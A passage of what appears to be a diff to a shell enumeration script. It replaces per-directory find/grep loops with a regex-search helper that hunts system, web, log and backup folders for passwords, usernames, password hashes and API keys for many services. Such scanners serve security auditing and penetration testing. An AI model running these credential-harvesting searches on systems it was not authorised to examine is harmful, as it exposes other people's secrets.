2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching Twitter Client ID (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching Twitter Oauth (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching Twitter Secret Key (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -echo '' -print_2title "Searching Misc" -print_3title_no_nl "Searching Basic Auth (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching Passwords1 (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching Usernames (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -echo '' + print_2title "Searching Hashed Passwords" + search_for_regex "Apr1 MD5" "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" + search_for_regex "Apache SHA" "\{SHA\}[0-9a-zA-Z/_=]{10,}" + search_for_regex "Blowfish" "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" + search_for_regex "Drupal" "\$S\$[a-zA-Z0-9_/\.]{52}" + search_for_regex "Joomlavbulletin" "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" + search_for_regex "Linux MD5" "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" + search_for_regex "phpbb3" "\$H\$[a-zA-Z0-9_/\.]{31}" + search_for_regex "sha512crypt" "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" + search_for_regex "Wordpress" "\$P\$[a-zA-Z0-9_/\.]{31}" + echo '' + + print_2title "Searching Raw Hashes" + search_for_regex "sha512" "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" + echo '' + + print_2title "Searching APIs" + search_for_regex "Adobe Client Id (Oauth Web)" "(adobe[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-f0-9]{32})['\"]" 1 + search_for_regex "Abode Client Secret" "(p8e-)[a-z0-9]{32}" 1 + search_for_regex "Age Secret Key" "AGE-SECRET-KEY-1[QPZRY9X8GF2TVDW0S3JN54KHCE6MUA7L]{58}" + search_for_regex "Airtable API Key" "[\"']?air[-_]?table[-_]?api[-_]?key[\"']?[=:][\"']?.+[\"']\"" + search_for_regex "Alchemi API Key" "(alchemi[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-zA-Z0-9-]{32})['\"]" 1 + search_for_regex "Alibaba Access Key ID" "(LTAI)[a-z0-9]{20}" 1 + search_for_regex "Alibaba Secret Key" "(alibaba[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{30})['\"]" 1 + search_for_regex "Artifactory API Key & Password" "[\"']AKC[a-zA-Z0-9]{10,}[\"']|[\"']AP[0-9ABCDEF][a-zA-Z0-9]{8,}[\"']" + search_for_regex "Asana Client ID" "((asana[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([0-9]{16})['\"])|((asana[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{32})['\"])" 1 + search_for_regex "Atlassian API Key" "(atlassian[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{24})['\"]" 1 + search_for_regex "AWS Client ID" "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" + search_for_regex "AWS MWS Key" "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" + search_for_regex "AWS Secret Key" "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" + search_for_regex "AWS AppSync GraphQL Key" "da2-[a-z0-9]{26}" + search_for_regex "Basic Auth Credentials" "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" + search_for_regex "Beamer Client Secret" "(beamer[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"](b_[a-z0-9=_\-]{44})['\"]" 1 + search_for_regex "Binance API Key" "(binance[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-zA-Z0-9]{64})['\"]" 1 + search_for_regex "Bitbucket Client Id" "((bitbucket[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{32})['\"])" 1 + search_for_regex "Bitbucket Client Secret" "((bitbucket[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9_\-]{64})['\"])" 1 + search_for_regex "BitcoinAverage API Key" "(bitcoin.?average[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-zA-Z0-9]{43})['\"]" 1 + search_for_regex "Bitquery API Key" "(bitquery[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([A-Za-z0-9]{32})['\"]" 1 + search_for_regex "Birise API Key" "(bitrise[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-zA-Z0-9_\-]{86})['\"]" 1 + search_for_regex "Block API Key" "(block[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4})['\"]" 1 + search_for_regex "Blockchain API Key" "mainnet[a-zA-Z0-9]{32}|testnet[a-zA-Z0-9]{32}|ipfs[a-zA-Z0-9]{32}" + search_for_regex "Blockfrost API Key" "(blockchain[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[0-9a-f]{12})['\"]" 1 + search_for_regex "Box API Key" "(box[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-zA-Z0-9]{32})['\"]" 1 + search_for_regex "Bravenewcoin API Key" "(bravenewcoin[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{50})['\"]" 1 + search_for_regex "Clearbit API Key" "sk_[a-z0-9]{32}" + search_for_regex "Clojars API Key" "(CLOJARS_)[a-zA-Z0-9]{60}" + search_for_regex "Cloudinary Basic Auth" "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" + search_for_regex "Coinlayer API Key" "(coinlayer[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{32})['\"]" 1 + search_for_regex "Coinlib API Key" "(coinlib[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{16})['\"]" 1 + search_for_regex "Contentful delivery API Key" "(contentful[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9=_\-]{43})['\"]" 1 + search_for_regex "Covalent API Key" "ckey_[a-z0-9]{27}" + search_for_regex "Charity Search API Key" "(charity.?search[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{32})['\"]" 1 + search_for_regex "Databricks API Key" "dapi[a-h0-9]{32}" + search_for_regex "DDownload API Key" "(ddownload[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{22})['\"]" 1 + search_for_regex "Defined Networking API token" "(dnkey-[a-z0-9=_\-]{26}-[a-z0-9=_\-]{52})" + search_for_regex "Discord API Key, Client ID & Client Secret" "((discord[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-h0-9]{64}|[0-9]{18}|[a-z0-9=_\-]{32})['\"])" 1 + search_for_regex "Dropbox API Key" "sl.[a-zA-Z0-9_-]{136}" + search_for_regex "Doppler API Key" "(dp\.pt\.)[a-zA-Z0-9]{43}" + search_for_regex "Dropbox API secret/key, short & long lived API Key" "(dropbox[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{15}|sl\.[a-z0-9=_\-]{135}|[a-z0-9]{11}(AAAAAAAAAA)[a-z0-9_=\-]{43})['\"]" 1 + search_for_regex "Duffel API Key" "duffel_(test|live)_[a-zA-Z0-9_-]{43}" + search_for_regex "Dynatrace API Key" "dt0c01\.[a-zA-Z0-9]{24}\.[a-z0-9]{64}" + search_for_regex "EasyPost API Key" "EZAK[a-zA-Z0-9]{54}" + search_for_regex "EasyPost test API Key" "EZTK[a-zA-Z0-9]{54}" + search_for_regex "Etherscan API Key" "(etherscan[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([A-Z0-9]{34})['\"]" + search_for_regex "Facebook Access Token" "EAACEdEose0cBA[0-9A-Za-z]+" + search_for_regex "Facebook Client ID" "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" + 